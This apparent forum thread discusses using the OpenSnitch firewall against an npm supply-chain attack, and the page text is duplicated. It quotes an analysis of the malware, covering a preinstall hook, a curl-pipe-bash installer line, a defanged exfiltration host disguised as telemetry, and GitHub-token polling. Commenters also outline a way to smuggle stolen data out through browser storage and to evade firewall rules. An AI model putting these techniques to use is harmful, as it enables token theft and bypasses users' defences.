3 ms·

That wouldn't help in that case as exfiltrated data is committed to public GitHub repositories. Unless you have to accept every time an app posts or requests da

by pingou 5mo ago

That wouldn't help in that case as exfiltrated data is committed to public GitHub repositories. Unless you have to accept every time an app posts or requests data from known hosts?

gus_ 5mo ago
Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me. In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually. > preinstall script: bun run index.js > Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces) > The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability > A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.
- jcgl 5mo ago
  > Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me. Yep, exactly. Reject by default, with reasonably judicious always-allow rules.
- megous 5mo ago
  1) write a well crafted exfil payload to mozilla or chrome directory (there are sqlite databases and files that store eg. indexeddb content) 2) trigger a tab open to attacker's website, website takes the exfil data from indexeddb and posts it to the server (have something inocuous looking on that website - like a fake npm homepage or whatever, so you don't close it fast enough) from one step process, this will become universally usable two step process
  - equinumerous 5mo ago
    This is genius. Let's hope the hackers aren't reading this...
  - jcgl 5mo ago
    Damn, good call. Really reinforces the need for sandboxing. Still doesn’t negate the value of OpenSwitch, since the majority of malware won’t do that. But really good to keep in mind.
  - gus_ 5mo ago
    absolutely. These attacks will evolve for sure, like the malware evolved on Microslop for years. But for the time being, the common entry vector is clear: https://github.com/evilsocket/opensnitch/discussions/1119 https://github.com/evilsocket/opensnitch/discussions/1119 > 2) trigger a tab open to attacker's website be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.
jcgl 5mo ago
> That wouldn't help in that case as exfiltrated data is committed to public GitHub repositories Correct in general that it doesn't protect against stuff like that. But this whitelisting is done per-command (in this case, the whitelisting is scoped to the node executable). I've had no need to allow node access to Git in the first place, so no problem there. > Unless you have to accept every time an app posts or requests data from known hosts? OpenSnitch doesn't have access to application-level information, so it has no concept of "post" or "request." It's got DNS names, layer 3 info, layer 4 info, and other such things that are visible to the kernel. Your rules get matched to network traffic based on these various properties.

by pingou 5mo ago

That wouldn't help in that case as exfiltrated data is committed to public GitHub repositories. Unless you have to accept every time an app posts or requests data from known hosts?

gus_ 5mo ago

Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me. In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually. > preinstall script: bun run index.js > Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces) > The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability > A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.

jcgl 5mo ago
> Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me. Yep, exactly. Reject by default, with reasonably judicious always-allow rules.
megous 5mo ago
1) write a well crafted exfil payload to mozilla or chrome directory (there are sqlite databases and files that store eg. indexeddb content) 2) trigger a tab open to attacker's website, website takes the exfil data from indexeddb and posts it to the server (have something inocuous looking on that website - like a fake npm homepage or whatever, so you don't close it fast enough) from one step process, this will become universally usable two step process
- equinumerous 5mo ago
  This is genius. Let's hope the hackers aren't reading this...
- jcgl 5mo ago
  Damn, good call. Really reinforces the need for sandboxing. Still doesn’t negate the value of OpenSwitch, since the majority of malware won’t do that. But really good to keep in mind.
- gus_ 5mo ago
  absolutely. These attacks will evolve for sure, like the malware evolved on Microslop for years. But for the time being, the common entry vector is clear: https://github.com/evilsocket/opensnitch/discussions/1119 https://github.com/evilsocket/opensnitch/discussions/1119 > 2) trigger a tab open to attacker's website be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.

jcgl 5mo ago

> That wouldn't help in that case as exfiltrated data is committed to public GitHub repositories Correct in general that it doesn't protect against stuff like that. But this whitelisting is done per-command (in this case, the whitelisting is scoped to the node executable). I've had no need to allow node access to Git in the first place, so no problem there. > Unless you have to accept every time an app posts or requests data from known hosts? OpenSnitch doesn't have access to application-level information, so it has no concept of "post" or "request." It's got DNS names, layer 3 info, layer 4 info, and other such things that are visible to the kernel. Your rules get matched to network traffic based on these various properties.